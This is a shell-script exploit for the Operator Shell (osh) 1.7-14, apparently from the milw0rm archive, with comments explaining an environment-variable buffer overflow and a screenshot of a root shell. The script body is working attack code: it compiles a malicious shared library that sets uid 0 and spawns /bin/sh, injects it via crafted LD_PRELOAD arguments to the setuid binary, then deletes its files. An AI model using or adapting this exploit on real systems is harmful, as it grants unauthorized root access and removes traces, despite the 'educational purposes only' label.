#!/bin/sh
#
# OSH 1.7-14 Exploit
#
# EDUCATIONAL purposes only.... :-)
#
# by Charles Stevenson (core) <core@bokeoa.com>
#
# Description:
# The Operator Shell (Osh) is a setuid root, security enhanced, restricted
# shell. It allows the administrator to carefully limit the access of special
# commands and files to the users whose duties require their use, while
# at the same time automatically maintaining audit records. The configuration
# file for Osh contains an administrator defined access profile for each
# authorized user or group.
#
# Problem discovered and described by Solar Eclipse:
#
# main.c:439
#
# if (gettoken(env, MAXENV)!=TWORD) {
# fprintf(stderr,"Illegal or too long environment variable\n");
# break;
# }
# if ((env2=getenv(env))==NULL) {
# char temp[255];
# char *temp2;
#
# strcpy(temp,env);
# if ((temp2=(char *)strrchr(temp,'/'))!=NULL) {
# if (temp2!=temp)
# *temp2='\0';
# else
# *(temp2+1)='\0';
# if ((env2=getenv(temp))!=NULL) {
# strcat(env2,"/");
# strcat(env2,temp2+1);
# }
# }
# }
#
# exploit:
#
# This code is used to handle substitutions of environmental
# variables. If the first call to getenv() fails, we might have a case
# like $VAR/filename, so we find the last '/' character and replace
# it with '\0'. Then we call getenv() on the shortened variable and
# append "/filename" to it. The problem is that the return value of
# getenv() is a NULL terminated string on the stack and by appending
# to it we will overwriting the data after the string.
#
# This bug allows us to overwrite one of the environmental variables
# passed to the child process. If we set the environmental variable
# $VAR to the string "a" before executing osh, and then pass
# "$VAR/LD_PRELOAD=evil.so" as a command line parameter, the above
# code will overwrite the value of some environmental variable located
# after $VAR with LD_PRELOAD=evil.so. Then osh will execute an
# external non-suid program and the code in evil.so will be executed.
#
# I have not tested this, but it looks like a really cool bug.
#
# Risk: Medium since user would have to be in the operator group which
# the admin would have to grant explicitly and I assume would be
# a trustworthy individual ;-)
#
# Then again the last two have been classified as "urgency=high"
# according to Debian policy. Truly sorry to cause Oohara Yuuma
# so much work. You really should orphan this package ;)
#
# Solution:
# apt-get --purge remove osh
#
# greetz to solar eclipse, nemo, andrewg, arcanum, mercy, amnesia,
# banned-it, capsyl, sloth, ben, KF, akt0r, MRX, salvia, thn
#
# irc.pulltheplug.org (#social)
# 0dd: much <3 & respect
#
# Obligatory screenshot:
# core@charity:~/hacking/sploits$ dpkg -l osh|grep ^ii
# ii osh 1.7-14 Operator's Shell
# core@charity:~/hacking/sploits$ ./x_osh3.sh
# telnet: could not resolve /home/core/LD_PRELOAD=ownall.so/telnet: Name or service not known
# sh-3.00# id
# uid=0(root) gid=0(root) groups=0(root)
cd /tmp; cat >ownall.c <<EOF
/* ownall.c by Charles Stevenson (core) <core@bokeoa.com>
* greetz Solar Eclipse, 0dd, irc.pulltheplug.org (#social) */
#include <stdlib.h>
#include <unistd.h>
int close(int fd) {
gid_t groupsex = 0; /* osh isn't gettin' any tonight */
setuid(0); /* Not really needed but make uid root */
setgid(0); /* Set gid root too! */
setgroups((size_t)1,&groupsex); /* This makes my pastes cooler looking */
clearenv(); /* LD_PRELOAD was causing headaches ;) */
execl("/bin/sh","/bin/sh",NULL);
return 0;
}
EOF
gcc -shared -o ownall.so ownall.c
osh telnet -l '$USER/LD_LIBRARY_PATH=.' '$HOME/LD_PRELOAD=ownall.so'
rm -f ownall*
# milw0rm.com [2005-11-09]
